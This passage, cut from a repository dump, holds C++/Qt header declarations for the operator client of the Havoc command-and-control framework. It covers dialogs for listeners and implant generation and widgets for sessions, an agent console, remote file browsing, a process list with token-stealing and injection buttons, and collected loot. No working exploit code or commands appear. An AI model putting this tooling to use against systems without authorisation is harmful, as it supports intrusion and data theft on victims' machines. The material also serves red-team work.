    "content": "\n#ifndef HAVOC_LISTENER_HPP\n#define HAVOC_LISTENER_HPP\n\n#include <global.hpp>\n\n#include <QLineEdit>\n#include <QGroupBox>\n#include <QCheckBox>\n#include <QPlainTextEdit>\n#include <QComboBox>\n#include <QtCore/QVariant>\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QCheckBox>\n#include <QtWidgets/QComboBox>\n#include <QtWidgets/QDialog>\n#include <QtWidgets/QGridLayout>\n#include <QtWidgets/QGroupBox>\n#include <QtWidgets/QLabel>\n#include <QtWidgets/QLineEdit>\n#include <QtWidgets/QListWidget>\n#include <QtWidgets/QPushButton>\n#include <QtWidgets/QStackedWidget>\n#include <QtWidgets/QWidget>\n\nusing namespace std;\n\nclass HavocNamespace::UserInterface::Dialogs::NewListener : public QDialog\n{\n    typedef struct {\n        int         Id;\n        QLineEdit*  Input;\n    } Data;\n\n    typedef struct {\n        std::string  Name;\n        QWidget*     Page;\n        QFormLayout* Layout;\n        int          Index;\n        json         Items;\n    } ServiceListener;\n\n    std::vector<ServiceListener> ServiceListeners;\n\npublic:\n    QGridLayout*    gridLayout;\n    QGridLayout*    gridLayout_2;\n    QGridLayout*    gridLayout_3;\n    QGridLayout*    gridLayout_4;\n\n    QWidget*        PageHTTP;\n    QWidget*        PageSMB;\n    QWidget*        PageExternal;\n\n    QSpacerItem*    horizontalSpacer_2;\n    QSpacerItem*    horizontalSpacer_3;\n    QSpacerItem*    horizontalSpacer_4;\n    QSpacerItem*    horizontalSpacer_5;\n    QSpacerItem*    horizontalSpacer_6;\n    QSpacerItem*    horizontalSpacer;\n    QSpacerItem*    verticalSpacerHeader;\n    QSpacerItem*    verticalSpacerUris;\n\n    QLabel*         LabelListenerName;\n    QLineEdit*      InputListenerName;\n    QLabel*         LabelPayload;\n    QComboBox*      ComboPayload;\n\n    QPushButton*    ButtonClose;\n    QPushButton*    ButtonSave;\n\n    QGroupBox*      ConfigBox;\n    QStackedWidget* StackWidgetConfigPages;\n\n    // Page HTTP\n\n    QLabel*         LabelHosts;\n    QGroupBox*      HostsGroup;\n    QPushButton*    ButtonHostsGroupAdd;\n    QPushButton*    ButtonHostsGroupClear;\n    std::vector<QLineEdit*> HostsData;\n    QSpacerItem*    verticalSpacer;\n    QFormLayout*    formLayout_Hosts;\n\n    QLabel*         LabelHostRotation;\n    QComboBox*      ComboHostRotation;\n\n    QLabel*         LabelHostBind;\n    QComboBox*      ComboHostBind;\n\n    QLabel*         LabelPortBind;\n    QLineEdit*      InputPortBind;\n\n    QLabel*         LabelPortConn;\n    QLineEdit*      InputPortConn;\n\n    QLineEdit*      InputUserAgent;\n    QLabel*         LabelUserAgent;\n\n    QLabel*         LabelHeaders;\n    QGroupBox*      HeadersGroup;\n    QPushButton*    ButtonHeaderGroupAdd;\n    QPushButton*    ButtonHeaderGroupClear;\n    std::vector<QLineEdit*> HeadersData;\n\n    QLabel*         LabelUris;\n    QGroupBox*      UrisGroup;\n    QPushButton*    ButtonUriGroupAdd;\n    QPushButton*    ButtonUriGroupClear;\n    std::vector<QLineEdit*> UrisData;\n\n    QLineEdit*      InputHostHeader;\n    QLabel*         LabelHostHeader;\n\n    QCheckBox*      CheckEnableProxy;\n    QGroupBox*      ProxyConfigBox;\n    QLabel*         LabelProxyType;\n    QComboBox*      ComboProxyType;\n    QLabel*         LabelProxyHost;\n    QLineEdit*      InputProxyHost;\n    QLabel*         LabelProxyPort;\n    QLineEdit*      InputProxyPort;\n    QLabel*         LabelUserName;\n    QLineEdit*      InputUserName;\n    QLabel*         LabelPassword;\n    QLineEdit*      InputPassword;\n\n    QFormLayout*    formLayout;\n    QFormLayout*    formLayout_2;\n    QFormLayout*    formLayout_3;\n    QFormLayout*    formLayout_Header;\n    QFormLayout*    formLayout_Uri;\n\n    // Page SMB\n    QLabel*         LabelPipeName;\n    QLineEdit*      InputPipeName;\n\n    // Page External\n    QLabel*         LabelEndpoint;\n    QLineEdit*      InputEndpoint;\n\npublic:\n    QDialog* ListenerDialog;\n\n    bool DialogClosed = false;\n    bool DialogSaved = false;\n\n    NewListener( QDialog *Dialog );\n\n    MapStrStr Start( Util::ListenerItem Item, bool Edit );\n\n    auto ListenerCustomAdd( QString Listener ) -> bool;\n    auto Free() -> void;\n\nprotected slots:\n    void onButton_Save();\n\n    void onProxyEnabled();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Dialogs/Payload.hpp",
    "content": "#ifndef HAVOC_STAGELESSDIALOG_H\n#define HAVOC_STAGELESSDIALOG_H\n\n#include <global.hpp>\n\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QDialog>\n#include <QtWidgets/QGridLayout>\n#include <QtWidgets/QLabel>\n\n#include <QCheckBox>\n#include <QGroupBox>\n#include <QComboBox>\n#include <QTextEdit>\n#include <QThread>\n#include <QMetaObject>\n#include <QVariant>\n#include <QFile>\n#include <QTreeWidget>\n\nclass Payload : public QDialog\n{\n    bool            Closed = false;\npublic:\n    QDialog*        PayloadDialog;\n\n    QGridLayout*    gridLayout;\n    QGridLayout*    gridLayout_2;\n    QGridLayout*    gridLayout_3;\n\n    QGroupBox*      OptionsBox;\n    QGroupBox*      BuildConsoleBox;\n\n    QTextEdit*      ConsoleText;\n\n    QComboBox*      ComboAgentType;\n    QComboBox*      ComboListener;\n    QComboBox*      ComboFormat;\n    QComboBox*      ComboArch;\n\n    QTreeWidget*    TreeConfig;\n\n    QLabel*         LabelListener;\n    QLabel*         LabelArch;\n    QLabel*         LabelFormat;\n    QLabel*         LabelAgentType;\n\n    QPushButton*    ButtonGenerate;\n\n    QSpacerItem*    horizontalSpacer;\n    QSpacerItem*    horizontalSpacer_2;\n    QSpacerItem*    horizontalSpacer_3;\n    QSpacerItem*    horizontalSpacer_4;\n    QSpacerItem*    horizontalSpacer_5;\n    QSpacerItem*    horizontalSpacer_6;\n    QSpacerItem*    horizontalSpacer_7;\n\n    QString         TeamserverName;\n\n    auto setupUi( QDialog* StagelessDialog ) -> void;\n    auto retranslateUi() -> void;\n    auto Start() -> void;\n\n    auto Clear() -> void;\n    auto ReceivedImplantAndSave( QString Format, QByteArray ImplantArray )  -> void;\n\n    auto AddConfigFromJson( QJsonDocument JsonConfig ) -> void;\n    auto DefaultConfig() -> void;\n\n    auto GetConfigAsJson() -> QJsonDocument;\n\npublic slots:\n    auto buttonGenerate() -> void;\n    auto addConsoleLog( QString MsgType, QString Message ) -> void;\n    auto CtxAgentPayloadChange( const QString& AgentType ) -> void;\n};\n\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/HavocUI.hpp",
    "content": "#ifndef HAVOC_HAVOCUI_HPP\n#define HAVOC_HAVOCUI_HPP\n\n#include <global.hpp>\n\n#include <UserInterface/Dialogs/About.hpp>\n#include <UserInterface/Dialogs/Connect.hpp>\n#include <UserInterface/Dialogs/Listener.hpp>\n#include <UserInterface/Dialogs/Payload.hpp>\n\n#include <UserInterface/Widgets/SessionTable.hpp>\n#include <UserInterface/Widgets/Chat.hpp>\n#include <UserInterface/Widgets/ListenerTable.hpp>\n\n#include <Havoc/DBManager/DBManager.hpp>\n\n// QT libraries\n#include <QDesktopServices>\n#include <QShortcut>\n#include <QStatusBar>\n#include <QDockWidget>\n#include <QHeaderView>\n#include <QSplitter>\n#include <QTableWidget>\n#include <QFile>\n#include <QStackedWidget>\n\nclass HavocNamespace::UserInterface::HavocUi : public QMainWindow\n{\npublic:\n    QWidget*               centralwidget                 = {};\n    QAction*               actionNew_Client              = {};\n    QAction*               actionChat                    = {};\n    QAction*               actionPreferences             = {};\n    QAction*               actionDisconnect              = {};\n    QAction*               actionExit                    = {};\n    QAction*               actionTeamserver              = {};\n    QAction*               actionStore                   = {};\n    QAction*               actionGeneratePayload         = {};\n    QAction*               actionLoad_Script             = {};\n    QAction*               actionPythonConsole           = {};\n    QAction*               actionAbout                   = {};\n    QAction*               actionOpen_Help_Documentation = {};\n    QAction*               actionOpen_API_Reference      = {};\n    QAction*               actionGithub_Repository       = {};\n    QAction*               actionListeners               = {};\n    QAction*               actionSessionsTable           = {};\n    QAction*               actionSessionsGraph           = {};\n    QAction*               actionLogs                    = {};\n    QAction*               actionLoot                    = {};\n    QGridLayout*           gridLayout                    = {};\n    QGridLayout*           gridLayout_3                  = {};\n    QTabWidget*            TeamserverTabWidget           = {};\n    QMenuBar*              menubar                       = {};\n    QMenu*                 menuHavoc                     = {};\n    QMenu*                 menuView                      = {};\n    QMenu*                 menuAttack                    = {};\n    QMenu*                 menuScripts                   = {};\n    QMenu*                 menuHelp                      = {};\n    QMenu*                 MenuSession                   = {};\n    QStatusBar*            statusbar                     = {};\n    Dialogs::Connect*      ConnectDialog                 = {};\n    About*                 AboutDialog                   = {};\n    QMainWindow*           HavocWindow                   = {};\n    HavocSpace::DBManager* dbManager                     = {};\n\npublic:\n    void MarkSessionAs( HavocNamespace::Util::SessionItem session, QString Mark );\n    void UpdateSessionsHealth();\n    void setupUi( QMainWindow *Havoc );\n    void retranslateUi( QMainWindow *Havoc ) const;\n    void setDBManager( HavocSpace::DBManager* dbManager );\n    void NewTeamserverTab( HavocNamespace::Util::ConnectionInfo* );\n    void NewTeamserverTab( QString Name );\n    void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, const QString IconPath = \"\" ) const;\n    void NewSmallTab( QWidget* TabWidget, const std::string& TitleName ) const;\n    void ConnectEvents();\n    void PythonPrepare();\n\npublic slots:\n    void OneSecondTick();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/SmallWidgets/EventViewer.hpp",
    "content": "#ifndef HAVOC_EVENTVIEWER_HPP\n#define HAVOC_EVENTVIEWER_HPP\n\n#include <global.hpp>\n\nclass HavocNamespace::UserInterface::SmallWidgets::EventViewer : public QWidget {\n    QGridLayout *gridLayout;\npublic:\n    QTextEdit *EventViewerConsole;\n    QWidget* EventViewer;\n\n    void setupUi(QWidget* Widget);\n    void AppendText(const QString& Time, const QString &text) const;\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/Chat.hpp",
    "content": "#ifndef HAVOC_CHATWIDGET_H\n#define HAVOC_CHATWIDGET_H\n\n#include <global.hpp>\n#include <QLineEdit>\n#include <QTextEdit>\n\nclass HavocNamespace::UserInterface::Widgets::Chat : public QWidget\n{\n    QGridLayout*    gridLayout      = nullptr;\n    QLineEdit*      lineEdit        = nullptr;\n\npublic:\n    QTextEdit*      EventLogText    = nullptr;\n    QWidget*        ChatWidget      = nullptr;\n    QString         TeamserverName  = nullptr;\n\n    void setupUi( QWidget* widget );\n    void AppendText( const QString& Time, const QString& text ) const;\n\n    void AddUserMessage( const QString Time, QString User, QString text ) const;\n\npublic slots:\n    void AppendFromInput();\n\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/DemonInteracted.h",
    "content": "#ifndef HAVOC_DEMONINTERACTED_H\n#define HAVOC_DEMONINTERACTED_H\n\n#include <global.hpp>\n#include <Havoc/DemonCmdDispatch.h>\n\nnamespace HavocNamespace::UserInterface::Widgets\n{\n    class DemonInteracted : public QWidget\n    {\n    private:\n        QGridLayout* gridLayout;\n        QLabel*      label;\n        QLabel*      label_2;\n\n    public:\n        QWidget*                    DemonInteractedWidget;\n        HavocSpace::DemonCommands*  DemonCommands;\n        QString                     TeamserverName;\n        Util::SessionItem           SessionInfo;\n        QTextEdit*                  Console;\n        QCompleter*                 CommandCompleter;\n        QStringList                 CompleterCommands;\n        QString                     AgentTypeName = \"Demon\";\n\n        class DemonInput : public QLineEdit\n        {\n        public:\n            int CommandHistoryIndex;\n            QStringList CommandHistory;\n            explicit DemonInput(QWidget *parent = nullptr);\n\n            void AddCommand( const QString& Command );\n\n        protected:\n            bool event(QEvent *) override;\n\n        private:\n            bool handleKeyPress(QKeyEvent* eventKey);\n            void handleTabKey();\n            void handleUpKey();\n            void handleDownKey();\n        };\n        DemonInput* lineEdit;\n\n        void setupUi( QWidget* Form );\n        void AppendText( const QString& text );\n        void AppendRaw( const QString& text = \"\" );\n        void AppendNoNL( const QString& test );\n\n        QString TaskInfo( bool Show, QString TaskID, const QString& text ) const;\n        QString TaskError( const QString& text ) const;\n\n        void AutoCompleteAdd( QString text );\n        void AutoCompleteAddList( QStringList list );\n        void AutoCompleteClear();\n\n    private slots:\n        void AppendFromInput();\n\n    };\n}\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/FileBrowser.hpp",
    "content": "#ifndef HAVOC_FILEBROWSER_HPP\n#define HAVOC_FILEBROWSER_HPP\n\n#include <QtCore/QVariant>\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QFormLayout>\n#include <QtWidgets/QGridLayout>\n#include <QtWidgets/QHeaderView>\n#include <QtWidgets/QLineEdit>\n#include <QtWidgets/QPushButton>\n#include <QtWidgets/QSplitter>\n#include <QtWidgets/QTableWidget>\n#include <QtWidgets/QTreeWidget>\n#include <QtWidgets/QWidget>\n\n#include <QtCore/QJsonDocument>\n#include <QtCore/QJsonArray>\n#include <QtCore/QJsonObject>\n#include <QtCore/QJsonValue>\n\n#include <vector>\n\ntypedef struct\n{\n    QString Path;\n\n    QString Type;\n    QString Name;\n    QString Size;\n    QString Modified;\n} FileData;\n\ntypedef struct _FileDirData\n{\n    QString               Path;\n    QJsonDocument         Data;\n    std::vector<FileData> Files;\n} FileDirData;\n\nclass FileBrowserTableItem : public QTableWidgetItem\n{\npublic:\n    FileData Data;\n};\n\nclass FileBrowserTreeItem : public QTreeWidgetItem\n{\npublic:\n    FileData Data;\n    QString  ParentPath;\n};\n\nclass FileBrowser : public QWidget\n{\npublic:\n    QString                  SessionID;\n\n    QMenu*                   MenuFileBrowserTable;\n    QMenu*                   MenuFileBrowserTree;\n\n    // General\n    QAction*                 MenuFileBrowserRemove;\n    QAction*                 MenuFileBrowserMkdir;\n    QAction*                 MenuFileBrowserReload;\n\n    // Tree\n    QAction*                 MenuFileBrowserListDrives;\n\n    QGridLayout*             gridLayout;\n    QSplitter*               splitter;\n    QFormLayout*             formLayout;\n\n    QWidget*                 FileBrowserWidget;\n    QTreeWidget*             FileBrowserTree;\n    QWidget*                 FileBrowserListWidget;\n    QPushButton*             ButtonGoUpDir;\n    QLineEdit*               InputFileBrowserPath;\n    QTableWidget*            TableFileBrowser;\n\n    std::vector<FileDirData> DirData;\n\n    void setupUi( QWidget* FileBrowser );\n    void retranslateUi( );\n\n    void AddData( QJsonDocument JsonData );\n\nprivate:\n    void TreeAddData( FileData Data );\n    void TreeUpdate( );\n    void TreeClear( );\n    auto TreeSearchPath( QString Path ) -> FileBrowserTreeItem*;\n    auto TreePathExists( QString Path ) -> bool;\n    void TreeAddDisk( QString Disk );\n    void TreeAddChildToParent( QString ParentPath, FileBrowserTreeItem* DataItem );\n\n\n    void TableAddData( FileData Data );\n    void TableClear();\n\n    void ChangePathAndSendRequest( QString Path );\n\nprivate slots:\n    void onTableMenuMkdir();\n    void onTableMenuReload();\n    void onTableMenuRemove();\n\n    void onTableDoubleClick( int row, int column );\n    void onTableContextMenu( const QPoint &pos );\n\n    void onTreeMenuListDrives();\n    void onTreeMenuMkdir();\n    void onTreeMenuReload();\n    void onTreeMenuRemove();\n\n    void onTreeDoubleClick();\n    void onTreeContextMenu( const QPoint &pos );\n\n    void onTableMenuDownload();\n    void onButtonUp();\n    void onInputPath();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/ListenerTable.hpp",
    "content": "#include <global.hpp>\n#include <QTableWidget>\n\n#include <Havoc/DBManager/DBManager.hpp>\n#include <Havoc/Packager.hpp>\n\nclass HavocNamespace::UserInterface::Widgets::ListenersTable : public QWidget\n{\nprivate:\n    QGridLayout *gridLayout;\n    QSpacerItem *horizontalSpacer_2;\n    QSpacerItem *horizontalSpacer;\n    QTableWidget *tableWidget;\n    HavocSpace::DBManager* dbManager;\n    HavocSpace::Packager* Packager;\n\n    QPushButton* buttonAdd;\n    QPushButton* buttonEdit;\n    QPushButton* buttonRemove;\n\npublic:\n    QString TeamserverName;\n    QWidget* ListenerWidget;\n\n    void setupUi( QWidget* widget );\n    void ButtonsInit();\n    void setDBManager( HavocSpace::DBManager* dbManager );\n\n    Util::Packager::Package CreateNewPackage( int EventID, MapStrStr ) const;\n\n    void ListenerAdd( Util::ListenerItem item ) const;\n    void ListenerEdit( Util::ListenerItem item ) const;\n    void ListenerRemove( QString ListenerName ) const;\n    void ListenerError( QString ListenerName, QString Error ) const;\n};"
  },
  {
    "path": "client/include/UserInterface/Widgets/LootWidget.h",
    "content": "#ifndef HAVOC_LOOTWIDGET_H\n#define HAVOC_LOOTWIDGET_H\n\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QComboBox>\n#include <QtWidgets/QGridLayout>\n#include <QtWidgets/QSpacerItem>\n#include <QtWidgets/QSplitter>\n#include <QtWidgets/QStackedWidget>\n#include <QtWidgets/QTableWidget>\n#include <QtWidgets/QWidget>\n#include <QLabel>\n#include <QScrollArea>\n\nclass ImageLabel : public QWidget\n{\npublic:\n    QLabel*      label;\n    QScrollArea* scrollArea;\n    bool         key_ctrl = false;\n\n    explicit ImageLabel(QWidget *parent = 0);\n    const QPixmap* pixmap() const;\n\npublic slots:\n    void setPixmap(const QPixmap&);\n\nprotected:\n    void resizeEvent(QResizeEvent *);\n    void keyReleaseEvent( QKeyEvent* event );\n    bool event(QEvent *) override;\n    void wheelEvent(QWheelEvent *ev);\n\npublic slots:\n    void resizeImage();\n\n};\n\nclass LootWidget : public QWidget\n{\npublic:\n    enum {\n        LOOT_IMAGE,\n        LOOT_FILE,\n    };\n\n    typedef struct\n    {\n        int     Type;\n        QString AgentID;\n\n        struct\n        {\n\n        } File;\n\n        struct\n        {\n            QString     Name;\n            QString     Date;\n            QString     Size;\n            QByteArray  Data;\n        } Data;\n\n    } LootData;\n    std::vector<LootData> LootItems;\n\n    QGridLayout*    gridLayout;\n\n    QLabel*         LabelShow;\n    QLabel*         LabelAgentID;\n\n    QComboBox*      ComboShow;\n    QComboBox*      ComboAgentID;\n\n    QTableWidget*   ScreenshotTable;\n    QTableWidget*   DownloadTable;\n\n    QMenu*          ScreenshotMenu;\n    QAction*        ScreenshotActionDownload;\n\n    QSpacerItem*    horizontalSpacer;\n    QStackedWidget* StackWidget;\n    QWidget*        Screenshots;\n    QGridLayout*    gridLayout_2;\n    QSplitter*      splitter;\n    ImageLabel*     ScreenshotImage;\n    QWidget*        Downloads;\n    QGridLayout*    gridLayout_3;\n\n    QSpacerItem*    horizontalSpacer_2;\n\n    LootWidget();\n    void Reload();\n\n    void AddSessionSection( const QString& DemonID );\n    void AddScreenshot( const QString& DemonID, const QString& Name, const QString& Date, const QByteArray& Data );\n    void AddDownload( const QString &DemonID, const QString &Name, const QString& Size, const QString &Date, const QByteArray &Data );\n    void AddText( const QString& DemonID, const QString& Name, const QByteArray& Data );\n\n    void ScreenshotTableAdd( const QString& Name, const QString& Date );\n    void DownloadTableAdd( const QString& Name, const QString& Size, const QString& Date );\n\nprivate Q_SLOTS:\n    void onAgentChange( const QString& text );\n    void onShowChange( const QString& text );\n    void onScreenshotTableClick( const QModelIndex &index );\n    void onDownloadTableClick( const QModelIndex &index );\n    void onScreenshotTableCtx( const QPoint &pos );\n};\n\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/ProcessList.hpp",
    "content": "#ifndef HAVOC_PROCESSLIST_HPP\n#define HAVOC_PROCESSLIST_HPP\n\n#include <global.hpp>\n\n#include <QtCore/QVariant>\n#include <QtWidgets/QApplication>\n#include <QtWidgets/QGridLayout>\n#include <QtWidgets/QHeaderView>\n#include <QtWidgets/QPushButton>\n#include <QtWidgets/QSpacerItem>\n#include <QtWidgets/QSplitter>\n#include <QtWidgets/QTableWidget>\n#include <QtWidgets/QTreeWidget>\n#include <QtWidgets/QWidget>\n\n#include <QJsonDocument>\n#include <QJsonArray>\n#include <QJsonObject>\n\nclass HavocNamespace::UserInterface::Widgets::ProcessList : public QWidget {\nprivate:\n    QGridLayout *gridLayout;\n    QSplitter   *splitter;\n    QTreeWidget *ProcessTree;\n    QTableWidget *ProcessTable;\n    QSpacerItem *horizontalSpacer;\n    QPushButton *pushButton_Refresh;\n    QPushButton *pushButton_Kill;\n    QPushButton *pushButton_Steal_Token;\n    QPushButton *pushButton_Inject;\n    QSpacerItem *horizontalSpacer_2;\n\n    QMenu       *ProcessListMenu;\n    QAction     *actionCopyProcessID;\n    QAction     *actionSetAsParentProcess;\n\npublic:\n    Util::SessionItem Session;\n    QWidget* ProcessListWidget;\n    QString Teamserver;\n\n    void setupUi(QWidget* Widget);\n    void UpdateProcessListJson(QJsonDocument ProcessListData);\n    void NewTableProcess(std::map<QString, QString> ProcessInfo);\n    void NewTreeProcess(std::map<QString, QString> ProcessInfo);\n\nprivate slots:\n    void onButton_Refresh() const;\n\n    void onTableChange();\n    void onTreeChange();\n\n    void handleTableListMenuContext(const QPoint &pos);\n    void handleTreeListMenuContext(const QPoint &pos);\n\n    void onActionCopyPID();\n    void onActionSetParentProcess();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/PythonScript.hpp",
    "content": "\n#ifndef HAVOC_PYTHONSCRIPTWIDGET_HPP\n#define HAVOC_PYTHONSCRIPTWIDGET_HPP\n\n#include <global.hpp>\n#include <QPlainTextEdit>\n\n#pragma push_macro(\"slots\")\n#undef slots\n#include <Python.h>\n#pragma pop_macro(\"slots\")\n\nclass HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter : public QWidget\n{\npublic:\n    QGridLayout*        gridLayout;\n    QLineEdit*          PythonScriptInput;\n    QPlainTextEdit*     PythonScriptOutput;\n\n    QWidget*            PythonScriptInterpreterWidget;\n\n    std::string         StdOut;\n\n    void setupUi(QWidget *WindowWidget);\n    void RunCode(QString code);\n    void AppendOutput( QString output );\n\nprivate slots:\n    void AppendFromInput();\n};\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/ScriptManager.h",
    "content": "#ifndef SCRIPTMANAGERVVJSUY_H\n#define SCRIPTMANAGERVVJSUY_H\n\n#include <global.hpp>\n\nclass HavocNamespace::UserInterface::Widgets::ScriptManager : public QWidget\n{\npublic:\n    QGridLayout  *gridLayout          = NULL;\n    QPushButton  *buttonLoadScript    = NULL;\n    QSpacerItem  *horizontalSpacer    = NULL;\n    QSpacerItem  *horizontalSpacer_2  = NULL;\n    QTableWidget *tableLoadedScripts  = NULL;\n    QWidget      *ScriptManagerWidget = NULL;\n\n    QMenu       *menuScripts          = NULL;\n    QAction     *actionReload         = NULL;\n    QAction     *actionRemove         = NULL;\n\n    void SetupUi( QWidget *Form );\n    void RetranslateUi( void );\n\n    static bool AddScript( QString Path );\n    void AddScriptTable( QString Path );\n\nprivate slots:\n    void b_LoadScript();\n    void menu_ScriptMenu( const QPoint &pos ) const;\n\n    void ReloadScript() const;\n    void RemoveScript() const;\n};\n\n#endif // SCRIPTMANAGERVVJSUY_H\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/SessionGraph.hpp",
    "content": "#ifndef HAVOC_SESSIONGRAPH_HPP\n#define HAVOC_SESSIONGRAPH_HPP\n\n#include <global.hpp>\n\n#include <QGraphicsItem>\n#include <QGraphicsView>\n#include <QRect>\n\nclass Node;\nclass GraphWidget;\nclass Edge;\n\nenum class NodeItemType {\n    Nothing  = 0,\n    MainNode = 1,\n    Session  = 2\n};\n\nclass Node : public QGraphicsItem\n{\n    QRectF  NodePainterSize = QRectF();\n    QString NodeLabel       = QString();\n\npublic:\n    QString      NodeID       = QString();\n    NodeItemType NodeType     = NodeItemType::Nothing;\n    Edge*        NodeEdge     = nullptr; \n    Node*        Parent       = nullptr; // Pointer to the parent node of the current node. Null for the root.\n    Node*        Thread       = nullptr; // For extreme left or right nodes, used to provide a successor node in a contour.\n    Node*        Ancestor     = this;    // During the tree layout, it points to the node's ancestor that is used to determine how far apart different subtrees should be.\n    bool         Disconnected = false;\n    double       Prelim       = 0;       // Preliminary y-coordinate calculated during the first tree traversal.\n    double       Modifier     = 0;       // Amount to adjust a node's y-coordinate, based on the positions of its descendants.\n    double       Shift        = 0;       // Amount to move subtrees apart to avoid overlaps.\n    double       Change       = 0;       // Rate of change in shift amount, used to evenly distribute shifts among siblings.\n    \n    std::vector<Node*> Children = std::vector<Node*>();\n\n    HavocNamespace::Util::SessionItem Session;\n\npublic:\n    Node( NodeItemType NodeType, QString NodeLabel, GraphWidget* graphWidget );\n\n    void appendChild( Node* child );\n    void removeChild( Node* child );\n\n    void addEdge( Edge* edge );\n    QVector<Edge*> edges() const;\n\n    enum { Type = UserType + 1 };\n    int type() const override { return Type; }\n\n    void calculateForces();\n    bool advancePosition();\n\n    void contextMenuEvent(QGraphicsSceneContextMenuEvent *event) override;\n\n    QRectF boundingRect() const override;\n    QPainterPath shape() const override;\n\n    void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override;\n\nprotected:\n    QVariant itemChange( GraphicsItemChange change, const QVariant& value ) override;\n\n    void mousePressEvent( QGraphicsSceneMouseEvent* event ) override;\n    void mouseReleaseEvent( QGraphicsSceneMouseEvent* event ) override;\n    void mouseMoveEvent( QGraphicsSceneMouseEvent* event ) override;\n\nprivate:\n    QVector<Edge*>  edgeList;\n    QPointF         newPos;\n    GraphWidget*    graph;\n};\n\nclass GraphWidget : public QGraphicsView\n{\nQ_OBJECT\n    typedef struct\n    {\n        QString Name;\n        class Node*   Node;\n    } Member;\n\n    QGraphicsScene*      GraphScene = nullptr;\n    Member*              MainNode   = nullptr;\n    std::vector<Member*> NodeList   = std::vector<Member*>();\n\npublic:\n    GraphWidget( QWidget* parent = nullptr );\n\n    void itemMoved();\n\n    Node* GraphNodeAdd( HavocNamespace::Util::SessionItem Session );\n    void  GraphNodeRemove( HavocNamespace::Util::SessionItem Session );\n    Node* GraphNodeGet( QString AgentID );\n\n    void  GraphPivotNodeAdd( QString AgentID, HavocNamespace::Util::SessionItem Session );\n    void  GraphPivotNodeDisconnect( QString AgentID );\n    void  GraphPivotNodeReconnect( QString ParentAgentID, QString ChildAgentID );\n\npublic slots:\n    void shuffle();\n    void zoomIn();\n    void zoomOut();\n\nprotected:\n    void keyPressEvent( QKeyEvent* event ) override;\n    void timerEvent( QTimerEvent* event ) override;\n    void resizeEvent( QResizeEvent* event ) override;\n\n#if QT_CONFIG( wheelevent )\n    void wheelEvent( QWheelEvent* event ) override;\n#endif\n\n    void drawBackground( QPainter* painter, const QRectF& rect ) override;\n    void scaleView( qreal scaleFactor );\n\nprivate:\n    int timerId = 0;\n    Node* centerNode;\n    const double X_SEP = 220; // Horizontal separation between levels of the tree\n    const double Y_SEP = 120; // Vertical separation between sibling nodes\n\n    void initNode(Node* v);\n    void layout(Node* T);\n    void firstWalk(Node* v);\n    void apportion(Node* v, Node*& defaultAncestor);\n    void moveSubtree(Node* wm, Node* wp, double shift);\n    Node* nextLeft(Node* v);\n    Node* nextRight(Node* v);\n    Node* ancestor(Node* vim, Node* v, Node*& defaultAncestor);\n    void executeShifts(Node* v);\n    void secondWalk(Node* v, double m, double depth);\n};\n\nclass Edge : public QGraphicsItem\n{\npublic:\n    Node* source = nullptr;\n    Node* dest   = nullptr;\n\n    Edge( Node* sourceNode, Node* destNode, QColor Color );\n\n    Node* sourceNode() const;\n    Node* destNode() const;\n\n    void adjust();\n    void Color( QColor color );\n\n    enum { Type = UserType + 2 };\n    int type() const override { return Type; }\n\nprotected:\n    QRectF boundingRect() const override;\n    void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override;\n\nprivate:\n    QColor  color       = QColor();\n    QPointF sourcePoint = QPointF();\n    QPointF destPoint   = QPointF();\n    qreal   arrowSize   = 10;\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/SessionTable.hpp",
    "content": "#ifndef HAVOC_SESSIONTABLE_HPP\n#define HAVOC_SESSIONTABLE_HPP\n\n#include <global.hpp>\n#include <QTableWidget>\n\nclass HavocNamespace::UserInterface::Widgets::SessionTable : public QWidget\n{\nprivate:\n    QGridLayout*        gridLayout       = nullptr;\n    QString             TeamserverName   = nullptr;\n\n    QTableWidgetItem*   TitleAgentID     = nullptr;\n    QTableWidgetItem*   TitleInternal    = nullptr;\n    QTableWidgetItem*   TitleExternal    = nullptr;\n    QTableWidgetItem*   TitleUser        = nullptr;\n    QTableWidgetItem*   TitleComputer    = nullptr;\n    QTableWidgetItem*   TitleOperating   = nullptr;\n    QTableWidgetItem*   TitleProcess     = nullptr;\n    QTableWidgetItem*   TitleProcessId   = nullptr;\n    QTableWidgetItem*   TitleArch        = nullptr;\n    QTableWidgetItem*   TitleLast        = nullptr;\n    QTableWidgetItem*   TitleHealth      = nullptr;\n\npublic:\n    QTableWidget*   SessionTableWidget = nullptr;\n\n    void setupUi( QWidget* widget, QString TeamserverName );\n    void NewSessionItem( Util::SessionItem item ) const;\n    void ChangeSessionValue( QString DemonID, int key, QString value );\n    void updateRow();\n};\n\n#endif\n"
  },
  {
    "path": "client/include/UserInterface/Widgets/Store.hpp",
